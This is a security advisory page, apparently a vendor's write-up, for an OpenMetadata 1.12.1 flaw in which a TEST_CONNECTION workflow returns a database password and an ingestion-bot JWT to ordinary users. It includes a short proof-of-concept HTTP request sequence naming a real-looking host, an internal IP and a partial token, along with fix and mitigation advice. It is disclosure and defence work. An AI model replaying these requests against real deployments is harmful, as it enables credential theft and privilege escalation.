GHSA-9vmh-whc4-7phg
HIGHGHSA-9vmh-whc4-7phg is a high-severity (CVSS 8.3) CWE-201 vulnerability in org.open-metadata:openmetadata-service. O3 Security confirms whether GHSA-9vmh-whc4-7phg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9vmh-whc4-7phg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9vmh-whc4-7phg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 357,322 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.open-metadata:openmetadata-serviceReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production
In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:
- The cleartext database password in
request.connection.config.password. - The ingestion bot JWT in
openMetadataServerConnection.securityConfig.jwtToken.
The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.
This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.
Version / Product
- Product: OpenMetadata (open source, Apache 2.0)
- Version: 1.12.1
- GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (
secretsManagerProvider: "db").
Preconditions
- Authenticated SSO user with access to the UI.
- User can open a Database Service and click “Test connection”.
- No server admin role, no shell/DB access.
PoC (short)
-
Login as a regular SSO user.
-
In the UI go to: Settings → Services → Database Services → utplrac_scan2_srvetel
Open the connection tab and click “Test connection”. -
The browser sends:
POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json
{ "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } }
Note: in the request the password is masked as "********".
- The server responds with HTTP 201 and a body similar to:
{ "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... }
Key points:
- request.connection.config.password now contains the real Oracle DB password in cleartext.
- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").
- Reuse the leaked ingestion-bot JWT:
GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <leaked_ingestion-bot_JWT> Accept: application/json
The API returns the full database service including username and password, confirming bot-level access.
Impact / Severity
- Any user who can run “Test connection” on a database service can:
- Recover the cleartext DB credentials.
- Recover a long‑lived ingestion-bot JWT.
- Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.
** <img width="1256" height="653" alt="LOWLEVELTOKEN" src="https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc" /> <img width="194" height="339" alt="USERROL" src="https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b" /> <img width="972" height="389" alt="CLEARPOC" src="https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984" />**
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.open-metadata:openmetadata-service | all versions | 1.12.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.open-metadata:openmetadata-service. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.open-metadata:openmetadata-service to 1.12.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9vmh-whc4-7phg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9vmh-whc4-7phg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9vmh-whc4-7phg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9vmh-whc4-7phg in your dependencies?
O3 detects GHSA-9vmh-whc4-7phg across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.